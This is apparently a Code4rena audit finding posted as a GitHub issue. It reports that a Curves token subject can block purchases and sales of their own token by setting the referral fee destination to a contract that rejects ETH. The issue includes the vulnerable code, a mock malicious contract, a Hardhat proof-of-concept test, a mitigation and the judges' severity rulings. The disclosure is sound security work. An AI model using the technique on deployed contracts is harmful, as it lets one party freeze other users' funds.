code-423n4 / 2024-01-curves-findings

0 stars 0 forks source link

Any Curves token subject can selectively deny any buyings or sellings of their own token #381

Closed c4-bot-7 closed 9 months ago

c4-bot-7 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L155-L160 https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L240-L243

Vulnerability details

Any Curves token subject can selectively deny any buyings or sellings of their own token

Summary

Due to the referral mechanism, any Curves token subject can selectively deny any buyings or sellings with them being the token subject.

This attack is also possible when referral fee is zero.

Vulnerability details

The problem here is the referral mechanism itself. The attack is made possible due to two facts:

  1. Anyone can set their own referralFeeDestination, at any time, without limits.
  2. On any token purchases or sellings, _transferFees() is triggered, which makes an external call to referralFeeDestination

The referralFeeDestination function

We examine the referralFeeDestination() function

function setReferralFeeDestination(
    address curvesTokenSubject,
    address referralFeeDestination_
) public onlyTokenSubject(curvesTokenSubject) {
    referralFeeDestination[curvesTokenSubject] = referralFeeDestination_;
}

It is clear here that the token subject can set their own referral address at any time.

The _transferFees() external call

The function _transferFees() is triggered any time a token purchase or sell happens. The dangerous external call is as follow:

function _transferFees(
    address curvesTokenSubject,
    bool isBuy,
    uint256 price,
    uint256 amount,
    uint256 supply
) internal {
    // ...
    bool referralDefined = referralFeeDestination[curvesTokenSubject] != address(0);
    // ...
    {
        (bool success3, ) = referralDefined
            ? referralFeeDestination[curvesTokenSubject].call{value: referralFee}("")
            : (true, bytes("")); // @audit external call here
        if (!success3) revert CannotSendFunds();
    }
    // ...
}

If the referral fee destination transfer fails, the entire tx will fail. Since a token subject can freely set referralFeeDestination, they can also freely control whether the buy/sell tx will go through.

While there are two external calls in the function (to the token subject, and to the referral), we show in the next section that this attack is only possible using the referral, and not the token subject.

Proof of concept

  1. Alice is a Curves user. She has a few fans/friends who bought her Curves token.
  2. Alice sets her own referralFeeDestination to an empty contract (or any contract she has control over).
  3. She can now selectively decide who gets to sell her tokens. She can also block every sellings and deny any of her popularity decline.

For example, Alice can now only allow her close friends to sell tokens for a high price (for example, using a whitelist contract for referral), and lock all other user's funds.

Note that Alice's address herself is not feasible as an attack vector despite still being a fund recipient. This is because Alice must be the first to buy her own token, and must buy one token (an "initialization" step). Then it would be the user's fault to buy a malicious contract's token to begin with.

The higher impact is that, any user can decide to turn malicious at any time should they discover this attack vector. This essentially sets a ticking bomb on the protocol, with the TVL being held hostage.

Coded PoC

The PoC consists of two files, a mock malicious contract, and the test itself.

First, paste the following contract into \contracts\Test

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract MockMaliciousReferral {
    // This is an intended empty contract. It cannot receive ETH.
}

Then, paste the entire following test file into \test. Finally run test the normally with yarn test. The test will fail with CannotSendFunds().

import { expect, use } from "chai";
import { solidity } from "ethereum-waffle";
use(solidity);
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
//@ts-ignore
import { ethers } from "hardhat";

import { type Curves } from "../contracts/types";
import { buyToken } from "../tools/test.helpers";
import { deployCurveContracts } from "./test.helpers";

describe("C4 contest PoC", () => {
  let testContract: Curves, owner: SignerWithAddress, friend: SignerWithAddress, addrs: SignerWithAddress[];

  beforeEach(async () => {
    [owner, friend, ...addrs] = await ethers.getSigners();
    testContract = await deployCurveContracts();
  });

  describe("PoC", () => {
    it("H: Deny token purchase due to referral not receiving ETH", async () => {
      // initialize a token
      const curves1 = addrs[0];
      await testContract.buyCurvesToken(owner.address, 1);
      await buyToken(testContract, owner, curves1, 3);
      console.log("Successful first purchase");

      // set malicious referral
      const MaliciousReferral = await ethers.getContractFactory("MockMaliciousReferral");
      const maliciousReferral = await MaliciousReferral.deploy();
      await testContract.setReferralFeeDestination(owner.address, maliciousReferral.address);
      console.log("Referral setting complete");

      // any purchase will now fail
      await buyToken(testContract, owner, curves1, 3);
      console.log("Successful second purchase");
    });
  });
});

Impact

Anyone can selectively deny any buyings or sellings with them being the token subject. This can also be used to prevent any of their own popularity decline, whitelisting only a group of people to sell tokens including themselves, or extend into a honeypot attack vector, or simply to lock funds.

The main impact that justifies the high severity is that, any existing user can perform this at any instant and hold the funds hostage, as soon as they discover the attack vector.

This also has a smaller impact of denying holder fees and protocol fees, as a result of denying any purchase itself.

Tools used

Manual review, hardhat for PoC

Recommended mitigation steps

Force the referral to claim fees by themselves, as opposed to transferring the fees to them on every transfer.

Important mitigation note: We highly recommend using a reentrancy guard if this mitigation method is used, as any external call, including ETH sending, can be dangerous.

The current contract setting does not employ any re-entrancy guard, and it currently does not follow the checks-effects-interaction pattern. If not done correctly, any ETH withdraw function may very well be the vector for draining the entire contract.

Assessed type

ETH-Transfer

c4-pre-sort commented 9 months ago

raymondfam marked the issue as sufficient quality report

c4-pre-sort commented 9 months ago

raymondfam marked the issue as duplicate of #172

c4-judge commented 8 months ago

alcueca changed the severity to 2 (Med Risk)

c4-judge commented 8 months ago

alcueca marked the issue as satisfactory

c4-judge commented 8 months ago

alcueca changed the severity to 2 (Med Risk)

c4-judge commented 8 months ago

alcueca changed the severity to 3 (High Risk)